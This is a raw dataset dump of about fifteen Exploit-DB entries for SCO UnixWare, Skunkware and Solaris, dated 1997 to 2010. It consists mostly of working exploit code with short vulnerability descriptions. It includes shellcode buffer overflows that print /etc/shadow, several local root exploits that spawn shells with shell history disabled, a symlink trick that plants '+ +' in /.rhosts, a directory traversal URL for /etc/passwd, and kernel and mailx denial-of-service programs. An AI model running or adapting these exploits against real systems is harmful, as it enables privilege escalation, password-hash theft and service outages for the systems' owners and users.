deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19660
Description: SCO Unixware 7.1 pkgcat - Local Buffer Overflow
Type: local
Platform: sco
Date: 1999-12-06
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/853/info

It is possible to view the entries in /etc/shadow through exploiting a buffer overflow in pkgcat and pkginstall. Though neither of these binaries are setuid, the dacread permissions which are granted in /etc/security/tcb/privs give them the ability read /etc/shadow. When the oversized buffer data is passed to the programs as argv[1], the stack will be corrupted and it is possible to spawn a program which would "cat" /etc/shadow with the dacread privs.

/**
 ** UnixWare 7.1 /usr/sbin/pkgcat exploit 

 ** Prints contents of /etc/shadow (execing shell won't be enough here)
 ** Demonstrates overflow in uw71's gethostbyname() and dacread permissio
n
 ** problems.  Use offsets of +-100.
 **
 ** Compile cc -o uwpkgcat uwpkgcat.c
 ** run /usr/sbin/pkgcat -s `./uwpkgcat 100`:
 **
 ** Brock Tellier btellier@usa.net
 **/ 



#include <stdlib.h>
#include <stdio.h>

char scoshell[]= 

"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/pi\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       

#define LEN 3500
#define NOP 0x90
#define CODE "void main() { system(\"cat /etc/shadow\"); }\n"

void buildpi() {
  FILE *fp;
  char cc[100];
  fp = fopen("/tmp/pi.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/pi /tmp/pi.c");
  system(cc);

}

int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];
buildpi(); 

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
        exit(0); 

 }
 else if (argc == 2){
   offset=atoi(argv[1]);
   

 }
 else if (argc == 3) {
  offset=atoi(argv[1]);
  buflen=atoi(argv[2]); 

  

 }
else {
   offset=100;
   buflen=3000;

 }



addr=0x8046b75 + offset;

fprintf(stderr, "\nUnixWare 7.1 pkgcat exploit prints");
fprintf(stderr, "/etc/shadow\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
        *(int *)&buf[i]=addr;
buf[buflen - 1] = ':';

printf(buf);
exit(0);
}
Exploit-DB #19661
Description: SCO Unixware 7.1 pkginstall - Local Buffer Overflow
Type: local
Platform: sco
Date: 1999-12-06
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/853/info
 
It is possible to view the entries in /etc/shadow through exploiting a buffer overflow in pkgcat and pkginstall. Though neither of these binaries are setuid, the dacread permissions which are granted in /etc/security/tcb/privs give them the ability read /etc/shadow. When the oversized buffer data is passed to the programs as argv[1], the stack will be corrupted and it is possible to spawn a program which would "cat" /etc/shadow with the dacread privs.

/**
 ** UnixWare 7.1 /usr/sbin/pkginstall exploit 

 ** Prints contents of /etc/shadow (execing shell won't be enough here)
 ** Demonstrates overflow in uw71's gethostbyname() and dacread permissio=
n
 ** problems.  Use offsets of +-100.
 **
 ** Compile cc -o uwpkgi uwpkgi.c
 ** run /usr/sbin/pkginstall -s `./uwpkgi 100`:
 **
 ** Brock Tellier btellier@usa.net
 **/ 



#include <stdlib.h>
#include <stdio.h>

char scoshell[] = 

"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/pi\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       

#define LEN 3500
#define NOP 0x90
#define CODE "void main() { system(\"cat /etc/shadow\"); }\n"

void buildpi() {
  FILE *fp;
  char cc[100];

  fp = fopen("/tmp/pi.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/pi /tmp/pi.c");
  system(cc);

}

int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];
buildpi(); 

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
        exit(0); 

 }
 else if (argc == 2){
   offset=atoi(argv[1]);
   
 }
 else if (argc == 3) {
  offset=atoi(argv[1]);
  buflen=atoi(argv[2]); =

 }
 else {
   offset=100;
   buflen=3000;

 }

addr=0x8046b75 + offset;

fprintf(stderr, "\nUnixWare 7.1 pkginstall exploit prints");
fprintf(stderr, "/etc/shadow\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+2;i<buflen-4;i+=4)
        *(int *)&buf[i]=addr;
buf[buflen - 1] = ':';

printf(buf);
exit(0);
}
Exploit-DB #1534
Description: SCO Unixware 7.1.3 - 'ptrace' Local Privilege Escalation
Type: local
Platform: sco
Date: 2006-02-26
Author: prdelka

Exploit:
/* SCO Unixware 7.1.3 ptrace local root exploit
 * ============================================
 * SCO Unixware 7.1.3 kernel allows unprivledged users
 * to debug binaries. The condition can be exploited
 * by an attacker when he has execute permissions to 
 * a file which has the suid bit set.
 * 
 * Example.
 *
 *  $ uname -a
 *  UnixWare iron 5 7.1.3 i386 x86at SCO UNIX_SVR5
 *  $ /linux/bin/bash
 *  bash-2.05$ uname -a
 *  Linux iron.fi.st 2.4.13 #1 Thu Oct 31 02:32:23 EST 2002 i686 unknown
 *  bash-2.05$ id
 *  uid=122(matt) gid=1(other) groups=1(other)
 *  bash-2.05$ ./fu /unixware/usr/lib/sendmail
 *  [ SCO Unixware 7.1.3 ptrace local root exploit
 *  [ Using 0xbfffed78
 *  sh-2.05# id
 *  uid=0(root) gid=1(other) groups=1(other)
 *  sh-2.05# 
 * 
 *  - prdelka
 */
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>
#include <asm/user.h>



char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
		 "\x90\x31\xdb\x8d\x43\x17\xcd\x80\x31\xc0"
		 "\x50\x68""//sh""\x68""/bin""\x89\xe3\x50"
		 "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(int argc,char* argv[])
{
	int esp, eip, i = 0;
	struct user_regs_struct regs;
	char *env[] = {"HISTFILE=/dev/null",NULL};
	pid_t pid;
	printf("[ SCO Unixware 7.1.3 local root exploit\n");
	if(argc < 2)
	{
		printf("[ Usage: [binary]\n");
		printf("[ e.g -rwsr-sr-x root root /linux/opt/kde2/bin/kcheckpass\n");
		exit(0);
	}
	switch (pid = fork())
	{
	case -1:
		perror("fork");
		break;
	case 0:		
		ptrace(PTRACE_TRACEME, 0, 0, 0);		
		pid = getpid();
		execle(argv[1],argv[1],NULL,env);		
		break;
	default:		
		waitpid(pid, NULL, 0);	
		ptrace(PTRACE_GETREGS, pid, NULL, &regs);
		esp = eip = regs.esp - 512;
		while (i < strlen(shellcode)) 
		{
			ptrace(PTRACE_POKETEXT, pid, esp, (int) *(int *) (shellcode + i));
			i += 4;
			esp += 4;
		}
		regs.eip = (long) eip;
		printf("[ Using 0x%x\n",regs.eip);	
		ptrace(PTRACE_SETREGS, pid, NULL, &regs);
		ptrace(PTRACE_DETACH, pid, NULL,NULL);
	}
	usleep(1);
	wait(0);
	return 0;
}

// milw0rm.com [2006-02-26]
Exploit-DB #19752
Description: SCO Unixware 7.1/7.1.1 - ARCserver /tmp Symlink
Type: local
Platform: sco
Date: 2000-02-15
Author: Shawn Bracken

Exploit:
source: https://www.securityfocus.com/bid/988/info

A symlink following vulnerability exists in the ARCserve agent, as shipped with SCO Unixware 7. Upon startup, the asagent program will create several files in /tmp. These are created mode 777, and can be removed and replaced by any user on the system. If these are replaced with symlinks, files can be created anywhere on the filesystem, owned by root. This cannot be used to alter the permissions of existing files. However, the contents of the new file are contained in /usr/CYEagent/agent.cfg. This file is world writable. 

echo "+ +" > /usr/CYEagent/agent.cfg
rm /tmp/asagent.tmp
ln -sf /.rhosts /tmp/asagent.tmp
Exploit-DB #5355
Description: SCO UnixWare < 7.1.4 p534589 - 'pkgadd' Local Privilege Escalation
Type: local
Platform: sco
Date: 2008-04-04
Author: qaaz

Exploit:
#!/bin/ksh
#
# 04/2008: public release
# SCO UnixWare < 7.1.4 p534589
#
if [ `id -un` = 'root' ]; then
	grep -v " $1-root\$" /var/adm/sulog >su.log
	cp su.def /etc/default/su
	cp su.log /var/adm/sulog
	rm -f su.def su.log woot.log
else
	echo "------------------------------------"
	echo " UnixWare pkgadd Local Root Exploit"
	echo " By qaaz"
	echo "------------------------------------"
	EVIL=`echo 'XX\nPROMPT=No\nXX'`
	cp /etc/default/su su.def
	ln -s /etc/default/su woot.log
	PKGINST=../../../..`pwd`/woot /usr/sbin/pkgadd "$EVIL" 1>/dev/null 2>&1
	su root -c "$0 `id -un`; /bin/sh -i"
fi

# milw0rm.com [2008-04-04]
Exploit-DB #5357
Description: SCO UnixWare Merge - 'mcd' Local Privilege Escalation
Type: local
Platform: sco
Date: 2008-04-04
Author: qaaz

Exploit:
/* 04/2008: public release
 * I have'nt seen any advisory on this; possibly still not fixed.
 *
 * SCO UnixWare Merge mcd Local Root Exploit
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>

#define TARGET	"/usr/lib/merge/mcd"
#define DIR	"/proc/%d/object", getpid()
#define BIN	"a.out"
#define LNK	"hrc;" BIN ";prc"
#define DEV	"/dev/cdrom/cdrom1"

int	main(int argc, char *argv[])
{
	char		dir[4096], bin[4096];
	char		dev[4096], env[4096];
	pid_t		child;
	struct stat	st;

	if (geteuid() == 0) {
		setuid(geteuid());
		setgid(getegid());
		if (strstr(argv[0], BIN)) {
			umask(0);
			chown(BIN, 0, 3);
			chmod(BIN, 06777);
			kill(getppid(), 15);
			return 0;
		}
		putenv("HISTFILE=/dev/null");
		execl("/bin/sh", "sh", "-i", NULL);
		printf("[-] sh: %s\n", strerror(errno));
		return 1;
	}

	printf("---------------------------------------\n");
	printf(" UnixWare Merge mcd Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("---------------------------------------\n");

	if (access(TARGET, EX_OK) < 0) {
		printf("[-] %s: %s\n", TARGET, strerror(errno));
		return 1;
	}

	if (symlink(DEV, LNK) < 0) {
		printf("[-] %s: %s\n", LNK, strerror(errno));
		return 1;
	}

	sprintf(dir, DIR);
	sprintf(bin, "%s/%s", dir, BIN);

	snprintf(dev, sizeof(dev), "/dev/cdrom/../../%s/%s", getcwd(NULL, 4096), LNK);
	snprintf(env, sizeof(env), "PATH=.:%s", getenv("PATH"));

	if ((child = fork()) == 0) {
		chdir(dir);
		putenv(env);
		execl(TARGET, TARGET, "-u", "-d", dev, NULL);
		printf("[-] %s: %s\n", TARGET, strerror(errno));
		return 1;
	} /*else if (child != -1)
		waitpid(child, NULL, 0);*/

	printf("[*] Waiting for privs...\n");
	while (stat(bin, &st) == 0) {
		if ((st.st_mode & 06777) == 06777) {
			printf("[+] Enjoy\n");
			unlink(LNK);
			execl(bin, "woot", NULL);
			printf("[-] %s: %s\n", bin, strerror(errno));
			return 1;
		}
		sleep(1);
	}
	printf("[-] %s: %s\n", bin, strerror(errno));
	unlink(LNK);
	return 0;
}

// milw0rm.com [2008-04-04]
Exploit-DB #5356
Description: SCO UnixWare Reliant HA 1.1.4 - Local Privilege Escalation
Type: local
Platform: sco
Date: 2008-04-04
Author: qaaz

Exploit:
/* 04/2008: public release
 * I have'nt seen any advisory on this; possibly still not fixed.
 *
 * SCO UnixWare Reliant HA Local Root Exploit
 * By qaaz
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define TGT1	"/usr/opt/reliant/bin/hvdisp"
#define TGT2	"/usr/opt/reliant/bin/rcvm"
#define DIR	"bin"
#define BIN	DIR "/hvenv"

int	main(int argc, char *argv[])
{
	char	self[4096], *target;
	pid_t	child;

	if (geteuid() == 0) {
		setuid(geteuid());
		dup2(3, 0);
		dup2(4, 1);
		dup2(5, 2);
		if ((child = fork()) == 0) {
			putenv("HISTFILE=/dev/null");
			execl("/bin/sh", "sh", "-i", NULL);
			printf("[-] sh: %s\n", strerror(errno));
		} else if (child != -1)
			waitpid(child, NULL, 0);
		kill(getppid(), 15);
		return 1;
	}

	printf("----------------------------------------\n");
	printf(" UnixWare Reliant HA Local Root Exploit\n");
	printf(" By qaaz\n");
	printf("----------------------------------------\n");

	if (access(TGT1, EX_OK) == 0)
		target = TGT1;
	else if (access(TGT2, EX_OK) == 0)
		target = TGT2;
	else {
		printf("[-] No targets found\n");
		return 1;
	}

	sprintf(self, "/proc/%d/object/a.out", getpid());

	if (mkdir(DIR, 0777) < 0 && errno != EEXIST) {
		printf("[-] %s: %s\n", DIR, strerror(errno));
		return 1;
	}

	if (symlink(self, BIN) < 0) {
		printf("[-] %s: %s\n", BIN, strerror(errno));
		rmdir(DIR);
		return 1;
	}

	if ((child = fork()) == 0) {
		char path[4096] = "RELIANT_PATH=";

		dup2(0, 3);
		dup2(1, 4);
		dup2(2, 5);
		putenv(strcat(path, getcwd(NULL, sizeof(path)-14)));
		execl(target, target, NULL);
		printf("[-] %s: %s\n", target, strerror(errno));
		return 1;
	} else if (child != -1)
		waitpid(child, NULL, 0);

	unlink(BIN);
	rmdir(DIR);
	return 0;
}

// milw0rm.com [2008-04-04]
Exploit-DB #20568
Description: Skunkware 2.0 - view-source Directory Traversal
Type: remote
Platform: sco
Date: 1997-04-16
Author: myst

Exploit:
source: https://www.securityfocus.com/bid/2251/info

view-source is a script included with the httpd package bundled with Skunkware 2.0. Skunkware 2.0 is a variant of the UNIX Operating System distributed by Santa Cruz Operations.

A problem with the view-source script could allow access to restricted files remotely. The problem occurs in the handling of slashes and dots when appended to the view-source script. By appending a series of double-dots and slashes to a query using the view-source script, it is possible to traverse the directory structure on a web server. By doing so, it is possible for to view the contents of directories, and files that are readable by the UID of the httpd process. This flaw makes it possible for a user with malicious motives to read files on a remote system and gather intelligence for an attack against the system, as well as other potentially sensitive information. 

http://vulnerable.server/cgi-bin/view-source?../../../../../../../etc/passwd
Exploit-DB #34309
Description: Oracle Solaris - 'rdist' Privilege Escalation
Type: dos
Platform: solaris
Date: 2010-07-13
Author: Monarch Rich

Exploit:
source: https://www.securityfocus.com/bid/41612/info

Oracle Solaris is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers.

The following products are affected:

Solaris 10
OpenSolaris 

/usr/bin/rdist -cDwh file_that_is_hardlink rlogin_host:LONG_STRING
Exploit-DB #15245
Description: Oracle Solaris - 'su' Crash
Type: dos
Platform: solaris
Date: 2010-10-13
Author: prdelka

Exploit:
From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c

    521 		for (j = 0; initenv[j] != 0; j++) { [1]
    522 			if (initvar = getenv(initenv[j])) { [2]
    ...
    535 				} else {
    536 					var = (char *)
    537 					    malloc(strlen(initenv[j]) [3]
    538 					    + strlen(initvar)
    539 					    + 2);
    540 					(void) strcpy(var, initenv[j]); [4]
 
'su' when creating new environment from inherited environment inherits values defined
such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and
then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes
the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this
means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing
a null ptr vulnerability in 'su'. 


   Program terminated with signal 11, Segmentation fault.
   #0  0xd1244734 in ?? ()
   (gdb) x/i $pc
   0xd1244734:  mov    %eax,(%edi)
   (gdb) i r $eax
   eax            0x415f434c   [PII_REDACTED] <- OUR STRING
   (gdb) i r $edi
   edi            0x0   0 <- NULL PTR

    Incurred fault #6, FLTBOUNDS  %pc = 0xD1244734
      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000
    Received signal #11, SIGSEGV [default]
      siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000


----[ PoC trigger 'su' as you.
/* Sun Solaris <= 10 'su' NULL pointer exploit
   ===========================================
   because these are so 2009 now. I would exploit
   this but my name is not spender or raptor. Sun
   do not check a call to malloc() when handling
   environment variables in 'su' code. They also
   don't check passwords when using telnet so who
   cares? You have to enter your local user pass
   to see this bug. Enjoy!

   admin@sundevil:~/suid$ ./x
   [ SunOS 5.11 'su' null ptr PoC
   [CREDENTIAL_REDACTED] Fault

  -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <sys/fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>

struct {
        rlim_t    rlim_cur;     /* current (soft) limit */
        rlim_t    rlim_max;     /* hard limit */
} rlimit;

int main(int argc,char *argv[]){
        int fd;
        struct rlimit* rlp = malloc(sizeof(rlimit));
        getrlimit(RLIMIT_DATA,rlp);
        char* buf1 = malloc(300000);
        memset(buf1,'A',300000);
        long buf2 = (long)buf1 + 299999;
        memset((char*)buf2,0,1);
        memcpy(buf1,"LC_ALL=",7);
        rlp->rlim_cur = 16400;
        setrlimit(RLIMIT_DATA,rlp);
        char* env[] = {buf1,file,NULL};
        char* args[] = {"su","-",getlogin(),NULL};
        printf("[ SunOS 5.11 'su' null ptr PoC\n");
        execve("/usr/bin/su",args,env);
}


// This was disclosed and patched in October 2010, CVE-2010-3503
Exploit-DB #8597
Description: Solaris 10 / OpenSolaris - 'dtrace' Local Kernel Denial of Service (PoC)
Type: dos
Platform: solaris
Date: 2009-05-04
Author: mu-b

Exploit:
/* solaris-dtrace-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Solaris >= 10/Opensolaris local kernel DoS POC
 * by mu-b - Mon 17 Nov 2008
 *
 * - Tested on:  Sun Solaris 10 (SPARC)
 *               Sun OpenSolaris <= snv_113 (x86)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

#include <dtrace.h>

#define DTRACE_HELPER "/dev/dtrace/helper"

static unsigned int changes = 0;

void *
hammer (void *arg)
{
  struct dof_hdr *phdr;

  phdr = arg;
  while (1)
    {
      phdr->dofh_loadsz = -1;
      changes++;

      usleep (10);
    }
}

int
main (int argc, char **argv)
{
  union {
    struct dof_hdr hdr;
    unsigned char buf[256*1024];
  } hdr_t;
  struct dof_hdr *phdr;
  int i, fd, n, tid;

  printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fd = open (DTRACE_HELPER, O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "failed opening %s\n", DTRACE_HELPER);
      return (EXIT_FAILURE);
    }

  phdr = &hdr_t.hdr;
  memset (phdr, 0, sizeof *phdr);

  memcpy (&phdr->dofh_ident, DOF_MAG_STRING, DOF_MAG_STRLEN);
  phdr->dofh_ident[DOF_ID_MODEL] = DOF_MODEL_LP64;
  phdr->dofh_ident[DOF_ID_ENCODING] = DOF_ENCODE_NATIVE;
  phdr->dofh_ident[DOF_ID_VERSION] = DOF_VERSION_2;
  phdr->dofh_ident[DOF_ID_DIFVERS] = DOF_VERSION_2;
  phdr->dofh_ident[DOF_ID_DIFIREG] = DIF_DIR_NREGS;
  phdr->dofh_ident[DOF_ID_DIFTREG] = DIF_DTR_NREGS;
  phdr->dofh_secsize = 1024;
  phdr->dofh_secnum = 1024;
  phdr->dofh_secoff = 0x7fffffffffff0000;

  n = pthread_create (&tid, NULL, hammer, phdr);
  if (n < 0)
    {
      fprintf (stderr, "failed creating hammer thread\n");
      return (EXIT_FAILURE);
    }

  for (i = 0; ; i++)
    {
      phdr->dofh_loadsz = sizeof hdr_t / 2;
      n = ioctl (fd, DTRACEHIOC_ADD, phdr);
      assert (n == -1);

      if (!(i % 64))
        printf ("tried %d-times, %d-changes\r", i, changes);
    }

  /* not reached! */
  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-05-04]
Exploit-DB #8598
Description: Solaris 10 / OpenSolaris - 'fasttrap' Local Kernel Denial of Service (PoC)
Type: dos
Platform: solaris
Date: 2009-05-04
Author: mu-b

Exploit:
/* solaris-fasttrap-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Solaris >= 10/Opensolaris local kernel DoS POC
 * by mu-b - Wed 19 Nov 2008
 *
 * - Tested on:  Sun Solaris 10 (SPARC)
 *               Sun OpenSolaris <= snv_113 (x86)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/fasttrap.h>
#include <unistd.h>

#define DTRACE_FASTTRAP "/devices/pseudo/fasttrap@0:fasttrap"

void *
hammer (void *addr)
{
  fasttrap_probe_spec_t *probe;
  probe = addr;

  while (1)
    {
      probe->ftps_noffs = 1024 * 128;
      usleep (10);
    }

  return (NULL);
}

int
main (int argc, char **argv)
{
  fasttrap_probe_spec_t probe;
  int i, fd, n, tid;

  printf ("Solaris >= 10/Opensolaris local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fd = open (DTRACE_FASTTRAP, O_RDONLY);
  if (fd < 0)
    {
      fprintf (stderr, "failed opening %s\n", DTRACE_FASTTRAP);
      return (EXIT_FAILURE);
    }

  memset (&probe, 0, sizeof probe);
  memset (&probe.ftps_func, 0x41, DTRACE_FUNCNAMELEN-1);
  memset (&probe.ftps_mod, 0x41, DTRACE_MODNAMELEN-1);

  probe.ftps_type = DTFTP_OFFSETS;
  probe.ftps_pid = getpid ();

  n = pthread_create (&tid, NULL, hammer, &probe);
  if (n < 0)
    {
      fprintf (stderr, "failed creating hammer thread\n");
      return (EXIT_FAILURE);
    }

  for (i = 0; ; i++)
    {
      probe.ftps_noffs = 1;
      n = ioctl (fd, FASTTRAPIOC_MAKEPROBE, &probe);

      if (!(i % 64))
        printf ("tried: %d-times\r", i);
    }

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-05-04]
Exploit-DB #19161
Description: Solaris 2.5.1 - 'Ping' System Panic (Denial of Service)
Type: dos
Platform: solaris
Date: 1997-06-15
Author: Adam Caldwell

Exploit:
source: https://www.securityfocus.com/bid/209/info

The ping program is used to assess network connectivity between network devices. A denial of service condition exists in the ping program that may cause the system to panic by sending ping requests to a multicast address through the loopback interface. The system will ping itself; however, the incoming queue pointer is not yet initialized when the packet is received. Thus, the system will panic. 

%ping -sv -i 127.0.0.1 224.0.0.1
Exploit-DB #240
Description: Solaris 2.6 / 7 / 8 - Lock Users Out of mailx
Type: dos
Platform: solaris
Date: 2001-01-03
Author: Optyx

Exploit:
#!/bin/sh
#
# Solaris mailx(1) username.lock  proof of theory
# makes mailx not work for all users except those
# that  can erase the lockfile even so mailx will
# hang for a long time.
#
# Tested on Solaris 2.6, 7, 8
#
# by Optyx <optyx@uberhax0r.net>
# http://www.uberhax0r.net

echo "mailx-lock by optyx. http://www.uberhax0r.net"
for x in `cat /etc/passwd | cut -d':' -f1`;do
touch /var/mail/$x.lock
chmod 0 /var/mail/$x.lock
done


# milw0rm.com [2001-01-03]